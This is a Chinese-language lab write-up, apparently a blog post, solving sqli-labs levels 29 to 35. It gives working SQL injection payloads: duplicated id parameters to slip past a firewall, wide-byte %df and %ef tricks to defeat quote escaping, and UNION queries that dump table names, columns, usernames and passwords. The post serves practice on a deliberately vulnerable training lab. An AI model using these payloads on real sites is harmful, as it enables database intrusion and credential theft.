当前位置: 首页 > news >正文

sqli-labs靶场less29~less35

less29

1.我们进入靶场看一下,他提示我们有一个防火墙

2.既然是有防火墙,那我们就来绕过它,这一关我们将id传参写两遍就行

?id=1&id=-1'union select 1,2,database()--+

3.剩下的部分我们只要按照这个方法做就行

less30

1.我们进入靶场看一下,这一关依旧提示我们有防火墙

2.这一关和上一关内容一样,只是闭合方式不同,变为了“,所以我们依旧可以构造以下语句

?id=1&id=-1" union select 1,2,database()--+

3.剩下的步骤我们按照这个方法继续往下做就行

less31

1.我们进入这一关看一下,依旧告诉我们这一关有防火墙

2.这一关和上一关大致相同,只不过闭合方式变为了”)

?id=1&id=-1") union select 1,2,database()--+

3.剩下的内容依旧按照上面的方式来进行

less32

1.我们进入这一关看一下,可以看到这一关告诉我们输入的内容就会转义

2.既然会被转义,那我们就使用宽字节注入,使用%df进行与单引号的宽字节合成

?id=-1%df%27%20union%20select%201,database(),3%20--+

3.剩下的我们就按照之前的方法继续做就行

?id=-1%df%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+     爆表
?id=-1%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+   爆字段
?id=-1%df%27%20union%20select%201,group_concat(password,username),3%20from%20users--+

less33

1.我们继续进入这一关看一下,他的提示依旧和上一关一样

2.这一关的语句和上一关一样,所以直接使用就行

less34

1.我们打开这一关看一下,它告诉我们用户和密码都会被转义

2.这一次我们需要将burpsuit抓包和宽字节注入

3.再uname的地方进行注入,使用%ef仅=进行宽字节合成

uname=-1%ef' and 1=2 union select 1,2,database()--+&passwd=1&submit=Submit

3.接下来步骤就和以前一样,只是内容要在请求体输入

less35

1.我们打开靶场进行查看,我们可以看到还是提醒我们有转义步骤

2.按照以前的方法可以判断出这是数字型闭合,在查询内容时将内容进行16进制编码

?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=0x7365637572697479 and table_name=0x7573657273--+

http://www.lryc.cn/news/609865.html

相关文章:

  • 2025.08.04 移除元素
  • 【测试工程思考】测试自动化基础能力建设
  • 使用mybatis生成器生成实体类mapper和查询参数文件,实现简单增删改查。使用log4j输出日志到控制台。使用配置文件注册Bean,配置视图解析器
  • 每天学一个Linux命令(38):vi/vim
  • Excel商业智能分析报表 【销售管理分析仪】
  • 免费MCP: JSON 转 Excel MCP
  • Vim 高效使用指南
  • Flutter 事件总线 Event Bus
  • HarmonyOS 多屏适配最佳实践:基于 ArkUI 的响应式 UI 方案
  • 计算机网络:理解路由的下一跳
  • 第四十六章:AI的“瞬时记忆”与“高效聚焦”:llama.cpp的KV Cache与Attention机制
  • C++ 中 initializer_list 类型推导
  • 2.1 vue组件
  • 【AMD】编译llama.cpp实践版
  • 【异常案例分析】使用空指针调用函数(非虚函数)时,没有崩溃在函数调用处,而是崩在被调用函数内部
  • 关于大数据的基础知识(三)——数据安全与合规
  • C++模板知识点3『std::initializer_list初始化时逗号表达式的执行顺序』
  • 1.kotlin数组、集合常用方法
  • 【iOS】渲染原理离屏渲染
  • 网络安全 | 从 0 到 1 了解 WAF:Web 应用防火墙到底是什么?
  • 国内首个开源SCA社区——OpenSCA开源社区
  • C++临时对象:来源与性能优化之道
  • 前后端流式交互的几种方式
  • Petalinux快捷下载
  • 【笔记】ROS1|2 Turtlebot3汉堡Burger连接和远程控制【旧文转载】
  • 【SpringAI】SpringAI的介绍与简单使用
  • 算力板卡:驱动智能时代的核心引擎
  • File、IO流体系
  • 防御保护综合练习
  • 关键领域软件研发如何构建智能知识管理体系?从文档自动化到安全协同的全面升级